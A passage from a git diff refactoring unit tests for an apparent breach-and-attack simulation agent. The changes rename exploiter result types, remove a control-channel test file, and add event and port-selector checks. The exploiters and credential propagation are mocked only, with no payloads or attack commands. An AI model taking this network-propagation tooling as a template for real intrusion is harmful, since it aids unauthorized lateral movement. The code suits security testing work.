Event() -) -> ExploiterResultData: +) -> ExploiterResult: target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) return brute_force_exploiter.exploit_host( host=target_host, @@ -108,11 +108,11 @@ def run_brute_force_exploiter( ) -def copy_file_with_tags(_: bytes, __: PurePath, tags: MutableSet[str]): +def copy_file_with_tags(_: bytes, __: PurePath, tags: MutableSet[AgentEventTag]): tags.update(COPY_TAGS) -def execute_with_tags(_: str, tags: MutableSet[str]): +def execute_with_tags(_: str, tags: MutableSet[AgentEventTag]): tags.update(EXECUTE_TAGS) @@ -149,12 +149,12 @@ def test_exploit_host__exploit_succeeds( assert any(event.success for event in published_events if type(event) == PropagationEvent) -def copy_file_with_tags_fails(_: bytes, __: PurePath, tags: MutableSet[str]): +def copy_file_with_tags_fails(_: bytes, __: PurePath, tags: MutableSet[AgentEventTag]): tags.update(COPY_TAGS) raise RemoteFileCopyError() -def execute_with_tags_fails(_: str, tags: MutableSet[str]): +def execute_with_tags_fails(_: str, tags: MutableSet[AgentEventTag]): tags.update(EXECUTE_TAGS) raise RemoteCommandExecutionError() @@ -340,7 +340,7 @@ def test_exploit_host__exploit_skipped_on_interrupt( interrupt.set() result = run_brute_force_exploiter(brute_force_exploiter, interrupt) - assert result == ExploiterResultData() + assert result == ExploiterResult() assert not mock_remote_access_client.login.called diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_http_bytes_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_http_bytes_server.py index 3e932648d66..ab82313b588 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_http_bytes_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_http_bytes_server.py @@ -1,6 +1,5 @@ from http import HTTPStatus from ipaddress import IPv4Address -from multiprocessing import get_context from typing import Generator import pytest @@ -16,12 +15,6 @@ def ip() -> IPv4Address: return IPv4Address("127.0.0.1") -@pytest.fixture -def tcp_port_selector() -> TCPPortSelector: - context = get_context("spawn") - return TCPPortSelector(context, context.Manager()) - - @pytest.fixture def port(tcp_port_selector: TCPPortSelector) -> NetworkPort: return tcp_port_selector.get_free_tcp_port() @@ -68,6 +61,7 @@ def download_url(ip: IPv4Address, port: NetworkPort) -> str: @pytest.mark.usefixtures("server") +@pytest.mark.xdist_group(name="tcp_port_selector") def test_only_single_download_allowed(download_url: str, bytes_to_serve: bytes): response_1 = requests.get(download_url) assert response_1.status_code == 200 @@ -78,6 +72,7 @@ def test_only_single_download_allowed(download_url: str, bytes_to_serve: bytes): assert response_2.content != bytes_to_serve +@pytest.mark.xdist_group(name="tcp_port_selector") def test_bytes_downloaded(server: HTTPBytesServer, download_url: str): assert not server.bytes_downloaded.is_set() @@ -86,6 +81,7 @@ def test_bytes_downloaded(server: HTTPBytesServer, download_url: str): assert server.bytes_downloaded.is_set() +@pytest.mark.xdist_group(name="tcp_port_selector") def test_thread_safety(server: HTTPBytesServer, second_server: HTTPBytesServer, download_url: str): assert not server.bytes_downloaded.is_set() assert not second_server.bytes_downloaded.is_set() @@ -96,5 +92,6 @@ def test_thread_safety(server: HTTPBytesServer, second_server: HTTPBytesServer, assert not second_server.bytes_downloaded.is_set() +@pytest.mark.xdist_group(name="tcp_port_selector") def test_download_url(server: HTTPBytesServer, download_url: str): assert server.download_url == download_url diff --git a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_fingerprint_data.py b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_fingerprint_data.py index fe727c43178..f36273663b5 100644 --- a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_fingerprint_data.py +++ b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_fingerprint_data.py @@ -3,8 +3,8 @@ import pytest from common import OperatingSystem -from common.types import NetworkProtocol, NetworkService -from infection_monkey.i_puppet import DiscoveredService, FingerprintData +from common.types import DiscoveredService, NetworkProtocol, NetworkService +from infection_monkey.i_puppet import FingerprintData LINUX_VERSION = "xenial" diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 3200cca595e..0ba662efd42 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -1,7 +1,7 @@ import json from datetime import datetime from http import HTTPStatus -from typing import Dict, List +from typing import Dict, List, Optional from unittest.mock import MagicMock from uuid import UUID @@ -367,6 +367,23 @@ def test_island_api_client_get_agent_signals__bad_json(timestamp): api_client.get_agent_signals() +@pytest.mark.parametrize("timestamp,expected", [(1663950115, True), (None, False)]) +def test_island_api_client_terminate_signal_is_set( + timestamp: Optional[int], + expected: bool, +): + api_client = _build_client_with_json_response({"terminate": timestamp}) + assert api_client.terminate_signal_is_set() is expected + + +@pytest.mark.parametrize("timestamp", [TIMESTAMP, None]) +def test_island_api_client_terminate_signal_is_set__bad_json(timestamp): + api_client = _build_client_with_json_response({"terminate": timestamp, "discombobulate": 20}) + + with pytest.raises(IslandAPIResponseParsingError): + api_client.terminate_signal_is_set() + + def test_island_api_client_get_agent_configuration_schema(): expected_agent_configuration_schema = { "title": "AgentConfigurationSchema", diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index e58e993050b..f305f0bffb7 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -4,10 +4,9 @@ from common import OperatingSystem from common.agent_plugins import AgentPluginType from common.credentials import Credentials, LMHash, Password, SSHKeypair, Username -from common.types import Event, NetworkProtocol, NetworkService, PortStatus +from common.types import DiscoveredService, Event, NetworkProtocol, NetworkService, PortStatus from infection_monkey.i_puppet import ( - DiscoveredService, - ExploiterResultData, + ExploiterResult, FingerprintData, IncompatibleTargetOperatingSystemError, IPuppet, @@ -170,7 +169,7 @@ def exploit_host( servers: Sequence[str], options: Dict, interrupt: Event, - ) -> ExploiterResultData: + ) -> ExploiterResult: logger.debug(f"exploit_hosts({name}, {host.ip}, {options})") info_wmi = { "display_name": "WMI", @@ -196,36 +195,34 @@ def exploit_host( successful_exploiters = { DOT_1: { - "ZerologonExploiter": ExploiterResultData( + "ZerologonExploiter": ExploiterResult( False, False, OperatingSystem.WINDOWS.value, {}, "Zerologon failed" ), - "SSHExploiter": ExploiterResultData( + "SSHExploiter": ExploiterResult( False, False, OperatingSystem.LINUX.value, info_ssh, "Failed exploiting", ), - "Exploiter1": ExploiterResultData( - True, True, OperatingSystem.WINDOWS.value, info_wmi - ), + "Exploiter1": ExploiterResult(True, True, OperatingSystem.WINDOWS.value, info_wmi), }, DOT_3: { - "PowerShellExploiter": ExploiterResultData( + "PowerShellExploiter": ExploiterResult( False, False, OperatingSystem.WINDOWS.value, info_wmi, "PowerShell Exploiter Failed", ), - "SSHExploiter": ExploiterResultData( + "SSHExploiter": ExploiterResult( False, False, OperatingSystem.LINUX.value, info_ssh, "Failed exploiting", ), - "ZerologonExploiter": ExploiterResultData( + "ZerologonExploiter": ExploiterResult( True, False, OperatingSystem.WINDOWS.value, {} ), }, @@ -244,7 +241,7 @@ def exploit_host( return successful_exploiters[host.ip][name] raise IncompatibleTargetOperatingSystemError except KeyError: - return ExploiterResultData( + return ExploiterResult( False, False, OperatingSystem.LINUX.value, diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index 83ba84ee65e..5c499950794 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -3,25 +3,26 @@ import pytest +from infection_monkey.i_puppet import IPuppet +from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError from infection_monkey.master import AutomatedMaster -from infection_monkey.master.control_channel import IslandCommunicationError INTERVAL = 0.001 def test_terminate_without_start(): - m = AutomatedMaster(None, [], None, MagicMock(), [], MagicMock()) + m = AutomatedMaster(None, [], MagicMock(spec=IPuppet), MagicMock(), []) # Test that call to terminate does not raise exception m.terminate() def test_stop_if_cant_get_config_from_island(monkeypatch): - cc = MagicMock() - cc.should_agent_stop = MagicMock(return_value=False) - cc.get_config = MagicMock( - side_effect=IslandCommunicationError("Failed to communicate with island") + island_api_client = MagicMock(spec=IIslandAPIClient) + island_api_client.get_config = MagicMock( + side_effect=IslandAPIError("Failed to communicate with island") ) + island_api_client.terminate_signal_is_set = MagicMock(return_value=False) monkeypatch.setattr( "infection_monkey.master.automated_master.CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC", @@ -30,7 +31,8 @@ def test_stop_if_cant_get_config_from_island(monkeypatch): monkeypatch.setattr( "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, [], None, cc, [], MagicMock()) + + m = AutomatedMaster(None, [], MagicMock(spec=IPuppet), island_api_client, []) m.start() @@ -51,13 +53,13 @@ def _inner(): # of AutomatedMaster. For now, it works and it runs quickly. In the future, if we find that # this test isn't valuable or it starts causing issues, we can just remove it. def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_config): - cc = MagicMock() - cc.should_agent_stop = MagicMock( - side_effect=IslandCommunicationError("Failed to communicate with island") - ) - cc.get_config = MagicMock( + island_api_client = MagicMock(spec=IIslandAPIClient) + island_api_client.get_config = MagicMock( side_effect=sleep_and_return_config, ) + island_api_client.terminate_signal_is_set.side_effect = IslandAPIError( + "Failed to communicate with island" + ) monkeypatch.setattr( "infection_monkey.master.automated_master.CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC", @@ -67,5 +69,5 @@ def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_ "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, [], None, cc, [], MagicMock()) + m = AutomatedMaster(None, [], MagicMock(spec=IPuppet), island_api_client, []) m.start() diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_control_channel.py b/monkey/tests/unit_tests/infection_monkey/master/test_control_channel.py deleted file mode 100644 index b29dbbc3443..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/master/test_control_channel.py +++ /dev/null @@ -1,86 +0,0 @@ -from typing import Optional -from unittest.mock import MagicMock - -import pytest - -from common import AgentSignals -from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError -from infection_monkey.island_api_client import ( - IIslandAPIClient, - IslandAPIConnectionError, - IslandAPIRequestError, - IslandAPIRequestFailedError, - IslandAPITimeoutError, -) -from infection_monkey.master.control_channel import ControlChannel - -SERVER = "server" -AGENT_ID = "agent" -CONTROL_CHANNEL_API_ERRORS = [ - IslandAPIConnectionError, - IslandAPIRequestError, - IslandAPIRequestFailedError, - IslandAPITimeoutError, -] - - -@pytest.fixture -def island_api_client() -> IIslandAPIClient: - client = MagicMock() - return client - - -@pytest.fixture -def control_channel(island_api_client) -> ControlChannel: - return ControlChannel(SERVER, island_api_client) - - -@pytest.mark.parametrize("signal_time,expected_should_stop", [(1663950115, True), (None, False)]) -def test_control_channel__should_agent_stop( - control_channel: IControlChannel, - island_api_client: IIslandAPIClient, - signal_time: Optional[int], - expected_should_stop: bool, -): - island_api_client.get_agent_signals = MagicMock( - return_value=AgentSignals(terminate=signal_time) - ) - assert control_channel.should_agent_stop() is expected_should_stop - - -@pytest.mark.parametrize("api_error", CONTROL_CHANNEL_API_ERRORS) -def test_control_channel__should_agent_stop_raises_error( - control_channel, island_api_client, api_error -): - island_api_client.get_agent_signals.side_effect = api_error() - - with pytest.raises(IslandCommunicationError): - control_channel.should_agent_stop() - - -def test_control_channel__get_config(control_channel, island_api_client): - control_channel.get_config() - assert island_api_client.get_config.called_once() - - -@pytest.mark.parametrize("api_error", CONTROL_CHANNEL_API_ERRORS) -def test_control_channel__get_config_raises_error(control_channel, island_api_client, api_error): - island_api_client.get_config.side_effect = api_error() - - with pytest.raises(IslandCommunicationError): - control_channel.get_config() - - -def test_control_channel__get_credentials_for_propagation(control_channel, island_api_client): - control_channel.get_credentials_for_propagation() - assert island_api_client.get_credentials_for_propagation.called_once() - - -@pytest.mark.parametrize("api_error", CONTROL_CHANNEL_API_ERRORS) -def test_control_channel__get_credentials_for_propagation_raises_error( - control_channel, island_api_client, api_error -): - island_api_client.get_credentials_for_propagation.side_effect = api_error() - - with pytest.raises(IslandCommunicationError): - control_channel.get_credentials_for_propagation() diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index 780c6be7d25..e79def3588d 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -2,7 +2,7 @@ from ipaddress import IPv4Address from queue import Queue from threading import Barrier, Event -from typing import Callable, Collection, Iterable, Mapping, Sequence, Tuple +from typing import Callable, Collection, Iterable, Sequence, Tuple from unittest.mock import MagicMock import pytest @@ -90,11 +90,6 @@ def get_host_exploit_combos_from_call_args_list( SERVERS = ["127.0.0.1:5000", "10.10.10.10:5007"] -@pytest.fixture -def get_credentials_for_propagation() -> Callable[..., Mapping[str, Sequence]]: - return MagicMock(return_value=CREDENTIALS_FOR_PROPAGATION) - - @pytest.fixture def run_exploiters( hosts_to_exploit, @@ -102,13 +97,12 @@ def run_exploiters( callback, scan_completed, stop, - get_credentials_for_propagation, ): def inner(puppet, num_workers, hosts=hosts_to_exploit, exploiter_config=exploiter_config): # Set this so that Exploiter() exits once it has processed all victims scan_completed.set() - e = Exploiter(puppet, num_workers, get_credentials_for_propagation) + e = Exploiter(puppet, num_workers) e.exploit_hosts(exploiter_config, hosts, 1, SERVERS, callback, scan_completed, stop) return inner @@ -139,21 +133,12 @@ def test_exploiter_order(callback, run_exploiters): assert callback.call_args_list[5][0][0] == "Exploiter1" -def test_credentials_passed_to_exploiter(run_exploiters): - mock_puppet = MagicMock() - run_exploiters(mock_puppet, 1) - - for call_args in mock_puppet.exploit_host.call_args_list: - assert call_args[0][4].get("credentials") == CREDENTIALS_FOR_PROPAGATION - - def test_stop_after_callback( exploiter_config, callback, scan_completed, stop, hosts_to_exploit, - get_credentials_for_propagation, ): callback_barrier_count = 2 @@ -169,7 +154,7 @@ def _callback(*_): # Intentionally NOT setting scan_completed.set(); _callback() will set stop - e = Exploiter(MockPuppet(), callback_barrier_count + 2, get_credentials_for_propagation) + e = Exploiter(MockPuppet(), callback_barrier_count + 2) e.exploit_hosts( exploiter_config, hosts_to_exploit, 1, SERVERS, stoppable_callback, scan_completed, stop ) @@ -228,9 +213,7 @@ def test_all_exploiters_run_on_unknown_host(callback, hosts, hosts_to_exploit, r assert ("Exploiter1", hosts[0]) in host_exploit_combos -def test_callback_skipped_on_rejected_request( - callback, hosts, hosts_to_exploit, run_exploiters, exploiter_config -): +def test_callback_skipped_on_rejected_request(callback, run_exploiters, exploiter_config): exploiter_config.exploiters = {"ZerologonExploiter": {}} host = TargetHost(ip=IPv4Address("10.0.0.1"), operating_system=OperatingSystem.LINUX) @@ -238,34 +221,3 @@ def test_callback_skipped_on_rejected_request( run_exploiters(MockPuppet(), 1, q, exploiter_config) assert callback.call_count == 0 - - -@pytest.mark.parametrize( - "exploiter_config", - [ - {"SSHExploiter": {}}, - ], - indirect=True, -) -def test_exploit_hosts__retrieves_credentials_for_hard_coded_exploiters( - exploiter_config, run_exploiters, get_credentials_for_propagation -): - run_exploiters(MagicMock(), 1) - - assert get_credentials_for_propagation.called - - -@pytest.mark.parametrize( - "exploiter_config", - [ - {"FakeExploiter": {}}, - {"FakeExploiter2": {}}, - ], - indirect=True, -) -def test_exploit_hosts__does_not_retrieve_credentials_for_exploiter_plugins( - exploiter_config, run_exploiters, get_credentials_for_propagation -): - run_exploiters(MagicMock(), 1) - - assert not get_credentials_for_propagation.called diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index 3b3612363fc..f3da92924e7 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -10,14 +10,8 @@ PropagationConfiguration, ScanTargetConfiguration, ) -from common.types import NetworkProtocol, NetworkService, PortStatus -from infection_monkey.i_puppet import ( - DiscoveredService, - FingerprintData, - PingScanData, - PortScanData, - TargetHost, -) +from common.types import DiscoveredService, NetworkProtocol, NetworkService, PortStatus +from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData, TargetHost from infection_monkey.master import Exploiter, IPScanResults, Propagator empty_fingerprint_data = FingerprintData(os_type=None, os_version=None, services=[]) diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_info.py b/monkey/tests/unit_tests/infection_monkey/network/test_info.py index 4f9a99e47d1..7ece1841eec 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_info.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_info.py @@ -1,12 +1,14 @@ from dataclasses import dataclass from multiprocessing import Queue, get_context from multiprocessing.context import BaseContext +from multiprocessing.managers import SyncManager from random import SystemRandom from time import sleep from typing import Tuple import pytest +from common.types import NetworkPort from infection_monkey.network import TCPPortSelector from infection_monkey.network.ports import COMMON_PORTS @@ -25,9 +27,45 @@ def context() -> BaseContext: @pytest.fixture -def tcp_port_selector(context) -> TCPPortSelector: +def tcp_port_selector() -> TCPPortSelector: + return TCPPortSelector() + + +class MonkeyPatch: + def __init__(self, monkeypatch): + self.monkeypatch = monkeypatch + + def setattr(self, *args, **kwargs): + self.monkeypatch.setattr(*args, **kwargs) + + +def unavailable_ports(): + return [Connection(("", p)) for p in COMMON_PORTS] + + +@pytest.fixture +def multiprocessing_tcp_port_selector(context: BaseContext, monkeypatch) -> TCPPortSelector: + # Registering TCPPortSelector as a proxy object, making it multiprocessing-safe + # Registering the MonkeyPatch class in order to execute monkeypatch.setattr on the managed + # process + SyncManager.register("TCPPortSelector", TCPPortSelector) + SyncManager.register("MonkeyPatch", MonkeyPatch) manager = context.Manager() - return TCPPortSelector(context, manager) + monkeypatch_proxy = manager.MonkeyPatch(monkeypatch) # type: ignore[attr-defined] + monkeypatch_proxy.setattr( + "infection_monkey.network.info.psutil.net_connections", unavailable_ports + ) + return manager.TCPPortSelector() # type: ignore[attr-defined] + + +def test_tcp_port_selector__checks_preferred_ports(tcp_port_selector: TCPPortSelector, monkeypatch): + preferred_ports = [NetworkPort(1111), NetworkPort(2222), NetworkPort(3333)] + preferred_port = SystemRandom().choice(preferred_ports) + unavailable_ports = [Connection(("", p)) for p in preferred_ports if p is not preferred_port] + monkeypatch.setattr( + "infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports + ) + assert tcp_port_selector.get_free_tcp_port(preferred_ports=preferred_ports) in preferred_ports @pytest.mark.slow @@ -44,6 +82,7 @@ def test_tcp_port_selector__checks_common_ports( assert tcp_port_selector.get_free_tcp_port() is common_port +@pytest.mark.slow def test_tcp_port_selector__checks_other_ports_if_common_ports_unavailable( tcp_port_selector, monkeypatch ): @@ -55,6 +94,7 @@ def test_tcp_port_selector__checks_other_ports_if_common_ports_unavailable( assert tcp_port_selector.get_free_tcp_port() not in COMMON_PORTS +@pytest.mark.slow def test_tcp_port_selector__none_if_no_available_ports( tcp_port_selector: TCPPortSelector, monkeypatch ): @@ -90,13 +130,8 @@ def get_multiprocessing_tcp_port( tcp_port_selector: TCPPortSelector, port: int, queue: Queue, - monkeypatch, lease_time_sec: float = 30.0, ): - unavailable_ports = [Connection(("", p)) for p in COMMON_PORTS] - monkeypatch.setattr( - "infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports - ) free_tcp_port = tcp_port_selector.get_free_tcp_port( min_range=port, max_range=port, lease_time_sec=lease_time_sec ) @@ -105,17 +140,17 @@ def get_multiprocessing_tcp_port( @pytest.mark.slow def test_tcp_port_selector__uses_multiprocess_leases_same_random_port( - tcp_port_selector: TCPPortSelector, context: BaseContext, monkeypatch + multiprocessing_tcp_port_selector: TCPPortSelector, context: BaseContext ): queue = context.Queue() - p1 = context.Process( + p1 = context.Process( # type: ignore[attr-defined] target=get_multiprocessing_tcp_port, - args=(tcp_port_selector, MULTIPROCESSING_PORT, queue, monkeypatch), + args=(multiprocessing_tcp_port_selector, MULTIPROCESSING_PORT, queue), ) - p2 = context.Process( + p2 = context.Process( # type: ignore[attr-defined] target=get_multiprocessing_tcp_port, - args=(tcp_port_selector, MULTIPROCESSING_PORT, queue, monkeypatch), + args=(multiprocessing_tcp_port_selector, MULTIPROCESSING_PORT, queue), ) p1.start() p2.start() @@ -132,22 +167,22 @@ def test_tcp_port_selector__uses_multiprocess_leases_same_random_port( @pytest.mark.slow def test_tcp_port_selector__uses_multiprocess_leases( - tcp_port_selector: TCPPortSelector, context: BaseContext, monkeypatch + multiprocessing_tcp_port_selector: TCPPortSelector, context: BaseContext ): queue = context.Queue() - p1 = context.Process( + p1 = context.Process( # type: ignore[attr-defined] target=get_multiprocessing_tcp_port, - args=(tcp_port_selector, MULTIPROCESSING_PORT, queue, monkeypatch, 0.0001), + args=(multiprocessing_tcp_port_selector, MULTIPROCESSING_PORT, queue, 0.0001), ) p1.start() sleep(0.0001) free_tcp_port_1 = queue.get() p1.join() - p2 = context.Process( + p2 = context.Process( # type: ignore[attr-defined] target=get_multiprocessing_tcp_port, - args=(tcp_port_selector, MULTIPROCESSING_PORT, queue, monkeypatch), + args=(multiprocessing_tcp_port_selector, MULTIPROCESSING_PORT, queue), ) p2.start() free_tcp_port_2 = queue.get() diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py index 6cf0c1e8675..85e4bd389d8 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py @@ -1,8 +1,11 @@ +from http import HTTPMethod from unittest.mock import MagicMock import pytest +from tests.unit_tests.monkey_island.cc.models.test_agent import AGENT_ID -from common.types import NetworkProtocol, NetworkService, PortStatus +from common.event_queue import IAgentEventPublisher +from common.types import DiscoveredService, NetworkPort, NetworkProtocol, NetworkService, PortStatus from infection_monkey.i_puppet import PortScanData from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter @@ -33,39 +36,51 @@ def patch_get_http_headers(monkeypatch, mock_get_http_headers): @pytest.fixture -def http_fingerprinter(): - return HTTPFingerprinter() +def mock_agent_event_publisher() -> IAgentEventPublisher: + return MagicMock(spec=IAgentEventPublisher) -def test_no_http_ports_open(mock_get_http_headers, http_fingerprinter): +@pytest.fixture +def http_fingerprinter(mock_agent_event_publisher): + return HTTPFingerprinter(AGENT_ID, mock_agent_event_publisher) + + +def test_no_http_ports_open(mock_get_http_headers, mock_agent_event_publisher, http_fingerprinter): port_scan_data = { - 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTP), + 80: PortScanData( + port=80, status=PortStatus.CLOSED, banner="", service=NetworkService.UNKNOWN # HTTP + ), 123: PortScanData( port=123, status=PortStatus.OPEN, banner="", service=NetworkService.UNKNOWN ), 443: PortScanData( - port=443, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTPS + port=443, status=PortStatus.CLOSED, banner="", service=NetworkService.UNKNOWN # HTTPS ), 8080: PortScanData( - port=8080, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTP + port=8080, status=PortStatus.CLOSED, banner="", service=NetworkService.UNKNOWN # HTTP ), } http_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, OPTIONS) assert not mock_get_http_headers.called + assert mock_agent_event_publisher.publish.call_count == 0 -def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter): +def test_fingerprint_only_port_443( + mock_get_http_headers, mock_agent_event_publisher, http_fingerprinter +): port_scan_data = { - 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTP), + 80: PortScanData( + port=80, status=PortStatus.CLOSED, banner="", service=NetworkService.UNKNOWN # HTTP + ), 123: PortScanData( port=123, status=PortStatus.OPEN, banner="", service=NetworkService.UNKNOWN ), 443: PortScanData( - port=443, status=PortStatus.OPEN, banner="", service=NetworkService.HTTPS + port=443, status=PortStatus.OPEN, banner="", service=NetworkService.UNKNOWN # HTTPS ), 8080: PortScanData( - port=8080, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTP + port=8080, status=PortStatus.CLOSED, banner="", service=NetworkService.UNKNOWN # HTTP ), } fingerprint_data = http_fingerprinter.get_host_fingerprint( @@ -83,18 +98,34 @@ def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter): assert fingerprint_data.services[0].port == 443 assert fingerprint_data.services[0].service == NetworkService.HTTPS + assert mock_agent_event_publisher.publish.call_count == 1 + 1 + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].method == HTTPMethod.HEAD + assert "443" in mock_agent_event_publisher.publish.call_args_list[0][0][0].url -def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter): + assert len(mock_agent_event_publisher.publish.call_args_list[1][0][0].discovered_services) == 1 + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, port=NetworkPort(443), service=NetworkService.HTTPS + ) + in mock_agent_event_publisher.publish.call_args_list[1][0][0].discovered_services + ) + + +def test_open_port_no_http_server( + mock_get_http_headers, mock_agent_event_publisher, http_fingerprinter +): port_scan_data = { - 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTP), + 80: PortScanData( + port=80, status=PortStatus.CLOSED, banner="", service=NetworkService.UNKNOWN # HTTP + ), 123: PortScanData( port=123, status=PortStatus.OPEN, banner="", service=NetworkService.UNKNOWN ), 443: PortScanData( - port=443, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTPS + port=443, status=PortStatus.CLOSED, banner="", service=NetworkService.UNKNOWN # HTTPS ), 9200: PortScanData( - port=9200, status=PortStatus.OPEN, banner="", service=NetworkService.HTTP + port=9200, status=PortStatus.OPEN, banner="", service=NetworkService.UNKNOWN # HTTP ), } fingerprint_data = http_fingerprinter.get_host_fingerprint( @@ -109,15 +140,26 @@ def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter): assert fingerprint_data.os_version is None assert len(fingerprint_data.services) == 0 + assert mock_agent_event_publisher.publish.call_count == 2 + 1 + + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].method == HTTPMethod.HEAD + assert "9200" in mock_agent_event_publisher.publish.call_args_list[0][0][0].url + assert mock_agent_event_publisher.publish.call_args_list[1][0][0].method == HTTPMethod.HEAD + assert "9200" in mock_agent_event_publisher.publish.call_args_list[1][0][0].url -def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter): + assert len(mock_agent_event_publisher.publish.call_args_list[2][0][0].discovered_services) == 0 + + +def test_multiple_open_ports(mock_get_http_headers, mock_agent_event_publisher, http_fingerprinter): port_scan_data = { - 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTP), + 80: PortScanData( + port=80, status=PortStatus.CLOSED, banner="", service=NetworkService.UNKNOWN # HTTP + ), 443: PortScanData( - port=443, status=PortStatus.OPEN, banner="", service=NetworkService.HTTPS + port=443, status=PortStatus.OPEN, banner="", service=NetworkService.UNKNOWN # HTTPS ), 8080: PortScanData( - port=8080, status=PortStatus.OPEN, banner="", service=NetworkService.HTTP + port=8080, status=PortStatus.OPEN, banner="", service=NetworkService.UNKNOWN # HTTP ), } fingerprint_data = http_fingerprinter.get_host_fingerprint( @@ -141,11 +183,36 @@ def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter): assert fingerprint_data.services[1].port == 8080 assert fingerprint_data.services[1].service == NetworkService.HTTP + assert mock_agent_event_publisher.publish.call_count == 3 + 1 + + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].method == HTTPMethod.HEAD + assert "443" in mock_agent_event_publisher.publish.call_args_list[0][0][0].url + assert mock_agent_event_publisher.publish.call_args_list[1][0][0].method == HTTPMethod.HEAD + assert "8080" in mock_agent_event_publisher.publish.call_args_list[1][0][0].url + assert mock_agent_event_publisher.publish.call_args_list[2][0][0].method == HTTPMethod.HEAD + assert "8080" in mock_agent_event_publisher.publish.call_args_list[2][0][0].url + + assert len(mock_agent_event_publisher.publish.call_args_list[3][0][0].discovered_services) == 2 + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, port=NetworkPort(443), service=NetworkService.HTTPS + ) + in mock_agent_event_publisher.publish.call_args_list[3][0][0].discovered_services + ) + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, port=NetworkPort(8080), service=NetworkService.HTTP + ) + in mock_agent_event_publisher.publish.call_args_list[3][0][0].discovered_services + ) + -def test_server_missing_from_http_headers(mock_get_http_headers, http_fingerprinter): +def test_server_missing_from_http_headers( + mock_get_http_headers, mock_agent_event_publisher, http_fingerprinter +): port_scan_data = { 1080: PortScanData( - port=1080, status=PortStatus.OPEN, banner="", service=NetworkService.HTTP + port=1080, status=PortStatus.OPEN, banner="", service=NetworkService.UNKNOWN # HTTP ), } fingerprint_data = http_fingerprinter.get_host_fingerprint( @@ -161,3 +228,18 @@ def test_server_missing_from_http_headers(mock_get_http_headers, http_fingerprin assert fingerprint_data.services[0].protocol == NetworkProtocol.TCP assert fingerprint_data.services[0].port == 1080 assert fingerprint_data.services[0].service == NetworkService.HTTP + + assert 